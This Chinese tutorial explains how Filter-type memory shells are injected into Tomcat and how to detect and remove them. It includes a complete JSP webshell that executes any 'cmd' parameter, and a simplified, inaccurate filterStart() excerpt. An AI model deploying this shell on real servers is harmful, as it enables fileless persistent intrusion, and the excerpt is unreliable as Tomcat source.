在Java Web内存马家族中,Filter型内存马是最早被广泛研究、也是实战中应用最广的一种。它不像Listener那样需要反射获取Response,也不像Agent那样需要操作字节码,直接拥有Request和Response的完整控制权,实现简单且稳定可靠。本文将深入剖析Filter内存马的实现原理、注入技术及检测防御策略。
一、Filter机制:为什么它是内存马的"黄金载体"
1.1 什么是Filter
Filter(过滤器)是Servlet规范中的核心组件,用于在请求到达Servlet之前或响应返回客户端之后,对Request和Response进行预处理和后处理。典型的应用场景包括:
请求日志记录
字符编码过滤
权限验证
数据压缩
Tomcat中的Filter通过FilterChain链式调用,一个请求可以经过多个Filter的处理。
1.2 Filter的触发流程
Filter在请求处理链路中的位置:
请求到达 → Listener.requestInitialized() → FilterChain → Servlet ↑ Filter在此执行
Filter的doFilter()方法接收三个参数:
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException1.3 为什么Filter是内存马的"黄金选择"
与Listener和Servlet相比,Filter具有独特的优势:
| 特性 | Filter | Listener | Servlet |
|---|---|---|---|
| URL映射 | 支持/*通配所有路径 | 自动拦截所有请求 | 需精确匹配路径 |
| Request/Response获取 | ✅ 直接传递 | ❌ 需反射获取 | ✅ 直接传递 |
| 拦截404请求 | ✅ 配置/*即可 | ✅ 自动 | ❌ 无法匹配 |
| 实现复杂度 | 低 | 中 | 低 |
| 隐蔽性 | 高 | 极高 | 中 |
| 稳定性和兼容性 | 高 | 中 | 高 |
综合来看:Filter实现了"简单实现"与"高隐蔽性"的完美平衡。
二、Filter内存马核心原理
2.1 Filter的存储结构
Tomcat中,Filter的注册信息存储在StandardContext的三个核心字段中:
// org.apache.catalina.core.StandardContext private Map<String, FilterDef> filterDefs = new HashMap<>(); // Filter定义 private Map<String, FilterMap> filterMaps = new HashMap<>(); // Filter映射 private ApplicationFilterConfig[] filterConfigs = new ApplicationFilterConfig[0]; // Filter实例配置三者关系:
filterDefs (Filter定义)
├── filterName: "EvilFilter"
├── filterClass: "com.evil.EvilFilter"
└── filter: EvilFilter实例filterMaps (URL映射)
├── filterName: "EvilFilter"
├── urlPatterns: ["/*"]
└── dispatcherTypes: [REQUEST, FORWARD, INCLUDE, ERROR]filterConfigs (运行时配置)
└── 由StandardContext在启动时根据filterDefs和filterMaps构建
2.2 动态注册Filter的完整流程
// ========== 第一步:创建FilterDef ========== FilterDef filterDef = new FilterDef(); filterDef.setFilterName("EvilFilter"); filterDef.setFilterClass(evilFilter.getClass().getName()); filterDef.setFilter(evilFilter); // ========== 第二步:注册FilterDef ========== standardContext.addFilterDef(filterDef); // ========== 第三步:创建FilterMap ========== FilterMap filterMap = new FilterMap(); filterMap.setFilterName("EvilFilter"); filterMap.addURLPattern("/*"); filterMap.setDispatcherTypes(EnumSet.allOf(DispatcherType.class)); // ========== 第四步:注册FilterMap ========== standardContext.addFilterMapBefore(filterMap); // 添加到最前面 // ========== 第五步:启动Filter(使其生效) ========== standardContext.filterStart();2.3 为什么filterStart()很重要
filterStart()的作用是将FilterDef和FilterMap转换为运行时使用的ApplicationFilterConfig:
// org.apache.catalina.core.StandardContext.filterStart() public boolean filterStart() { // 遍历所有FilterDef for (FilterDef filterDef : filterDefs.values()) { try { // 实例化Filter Filter filter = (Filter) classLoader.loadClass( filterDef.getFilterClass()).newInstance(); filter.init(new ApplicationFilterConfig(this, filterDef)); // 保存为ApplicationFilterConfig ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, filterDef); filterConfigs.add(filterConfig); } catch (Exception e) { ... } } return true; }注意:如果不调用filterStart(),Filter虽然被注册,但不会真正生效。
三、源码分析
3.1 查看super
断点位置:super.doFilter(req, res, chain);
按F7逐步调试,直到调试到ApplicationFilterChain类中的doFilter方法
在doFilter方法中,不论如何,最后都一定会执行internalDoFilter方法
3.2 执行internalDoFilter方法
我们查看filters,发现filter就装在这个filter里面,并且通过左边的调用堆栈能发现,执行了多次doFilter方法,跟下去就发现就是对filters里面装载的filter进行链式调用。
3.3 查看filters
我们查看filters,并找到filters赋值的地方
发现给filters赋值的地方在方法addFilter中,那么我们需要寻找addFilter方法又是谁调用的
3.4 查看addFilters
发现是filterChain调用了addFilter方法,继续寻找,是谁持有了filterChain
3.5 查看filterChain
发现filterChain实在方法createFilterChain中产生的,而createFilterChain是StandardWrapperValve类中被调用。
3.6 简单梳理
到这里,我们知道了如下流程
1.StandardWrapperValve类调用invoke方法,里面的关键代码
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);2.ApplicationFilterFactory类调用了createFilterChain方法,里面的关键代码
// Create and initialize a filter chain object ApplicationFilterChain filterChain; filterChain.addFilter(filterConfig);3.ApplicationFilterChain类调用了internalDoFilter方法,里面的关键代码
ApplicationFilterConfig filterConfig = filters[pos++];3.7 数据来源
数据来源于context.findFilterMaps(),而我们发现这个context就是StandardContext,最终调试发现,数据为StandardContext的私有属性filterMaps
3.8 数据构造
构造filterMap,filterConfig和filterDef
3.9 总结实现Filter内存马的简要表述
综合以上源码分析,实现一个Filter型内存马的核心思路可以概括为以下三步:
- 构造数据:通过反射获取
StandardContext实例,分别构造FilterDef(定义恶意Filter的类名与实例)、FilterMap(将Filter映射到/*路径)以及对应的ApplicationFilterConfig。 - 注册数据:将构造好的
FilterDef和FilterMap动态添加到StandardContext的filterDefs和filterMaps中,使恶意Filter进入Tomcat的过滤器注册表。 - 触发生效:调用
filterStart()让Filter真正生效。此后任意请求到达时,Tomcat都会从filterMaps中匹配到该Filter,将其加入过滤器链并执行恶意逻辑,从而实现内存马注入。
整个过程无需落地任何文件,仅通过反射操作运行中的StandardContext即可完成,这也是Filter内存马隐蔽性高、难以被传统文件查杀发现的原因。
四、代码实例
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %><%-- Created by IntelliJ IDEA. User: JunKai Date: 2026/8/15 Time: 17:28 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! //定义恶意的filter public class shellFilter extends HttpFilter { @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; String cmd = req.getParameter("cmd"); if (cmd == null) { super.doFilter(req, res, chain); } else { Process process = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream(), "UTF-8") ); StringBuilder result = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { result.append(line).append("\n"); } reader.close(); response.setContentType("text/html;charset=UTF-8"); response.getWriter().println(result.toString()); response.flushBuffer(); return; } chain.doFilter(request, response); } } %> <% ServletContext servletContext = request.getServletContext(); //通过standardcontext拿到application Field applicationContextFiled = servletContext.getClass().getDeclaredField("context"); applicationContextFiled.setAccessible(true); ApplicationContext applicationContext =(ApplicationContext) applicationContextFiled.get(servletContext); //通过applicationContext拿到standardcontext Field standardContextFiled = applicationContext.getClass().getDeclaredField("context"); standardContextFiled.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext); shellFilter filter = new shellFilter(); FilterDef def = new FilterDef(); def.setFilterName("shell-filter"); def.setFilter(filter); def.setFilterClass(filter.getClass().getName()); FilterMap map = new FilterMap(); map.setFilterName("shell-filter"); map.addURLPattern("/*"); standardContext.addFilterDef(def); standardContext.addFilterMapBefore(map); standardContext.filterStart(); out.println("successs"); %>访问filterShell.jsp
执行命令
五、检测与防御
5.1 检测方法
package com.memshell.detector; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class FilterDefender { /** * 检测Filter内存马 */ public static void detect(StandardContext ctx) throws Exception { System.out.println("[*] 开始检测Filter内存马..."); // 1. 检查FilterDef Map<String, FilterDef> filterDefs = getFilterDefs(ctx); for (Map.Entry<String, FilterDef> entry : filterDefs.entrySet()) { String filterName = entry.getKey(); FilterDef filterDef = entry.getValue(); // 检查是否可疑(动态生成的名称) if (filterName.contains("Evil") || filterName.contains("Malicious")) { System.out.println("[!] 发现可疑Filter: " + filterName); System.out.println(" Class: " + filterDef.getFilterClass()); } // 检查Filter类是否在classpath中存在对应的.class文件 String className = filterDef.getFilterClass(); if (!classExists(className)) { System.out.println("[!] 类文件不存在(内存马特征): " + className); } } // 2. 检查FilterMap Map<String, FilterMap> filterMaps = getFilterMaps(ctx); for (FilterMap filterMap : filterMaps.values()) { // 检查是否包含可疑的URL模式 String[] patterns = filterMap.getURLPatterns(); for (String pattern : patterns) { if ("/*".equals(pattern) && filterMap.getFilterName().contains("Evil")) { System.out.println("[!] 发现可疑Filter映射: " + filterMap.getFilterName()); } } } } /** * 清理Filter内存马 */ public static void clean(StandardContext ctx, String filterName) throws Exception { // 1. 移除FilterMap FilterMap[] filterMaps = ctx.findFilterMaps(); for (FilterMap filterMap : filterMaps) { if (filterMap.getFilterName().equals(filterName)) { ctx.removeFilterMap(filterMap); } } // 2. 移除FilterDef ctx.removeFilterDef(filterName); // 3. 重新启动Filter ctx.filterStart(); System.out.println("[+] Filter已清理: " + filterName); } private static Map<String, FilterDef> getFilterDefs(StandardContext ctx) throws Exception { Field field = StandardContext.class.getDeclaredField("filterDefs"); field.setAccessible(true); return (Map<String, FilterDef>) field.get(ctx); } private static Map<String, FilterMap> getFilterMaps(StandardContext ctx) throws Exception { Field field = StandardContext.class.getDeclaredField("filterMaps"); field.setAccessible(true); return (Map<String, FilterMap>) field.get(ctx); } private static boolean classExists(String className) { try { Class.forName(className); return true; } catch (ClassNotFoundException e) { return false; } } }5.2 防御加固措施
| 防御层次 | 措施 | 说明 |
|---|---|---|
| 代码层 | 限制StandardContext的访问 | 通过SecurityManager限制反射操作 |
| 运行层 | HookaddFilterDef方法 | 监控Filter注册行为,拦截可疑Filter |
| 检测层 | 定期巡检FilterDef/FilterMap | 与基线对比,发现异常注册 |
| 部署层 | 禁用JSP编译 | 生产环境限制JSP上传和执行 |
六、三种Servlet内存马对比总结
| 维度 | Filter | Listener | Servlet |
|---|---|---|---|
| URL映射 | /*通配 | 自动拦截 | 需精确匹配 |
| Response获取 | ✅ 直接 | ❌ 反射 | ✅ 直接 |
| 拦截404请求 | ✅ | ✅ | ❌ |
| 实现复杂度 | 低 | 中 | 低 |
| 隐蔽性 | 高 | 极高 | 中 |
| 注册API | addFilterDef+addFilterMap | addApplicationEventListener | addServlet+addServletMapping |
| 启动方法 | filterStart() | 无需额外启动 | servletStart() |
| 优先级控制 | addFilterMapBefore/addFilterMap | 按注册顺序 | 按URL匹配规则 |
七、总结
Filter内存马利用Servlet规范的Filter机制,通过动态注册恶意Filter实现命令执行。其核心攻击链路为:
漏洞触发 → 获取代码执行能力
反射获取
StandardContext容器对象创建实现
Filter接口的恶意过滤器构建
FilterDef和FilterMap并注册到StandardContext调用
filterStart()使Filter生效携带特定参数访问任意URL触发命令执行
关键优势:Filter内存马直接拥有Request和Response的完整控制权,实现简单、兼容性强,是实战中最常见的内存马类型。防御的核心在于对StandardContext中filterDefs和filterMaps的访问控制和行为监控,以及对addFilterDef和addFilterMap等关键方法的运行时Hook检测。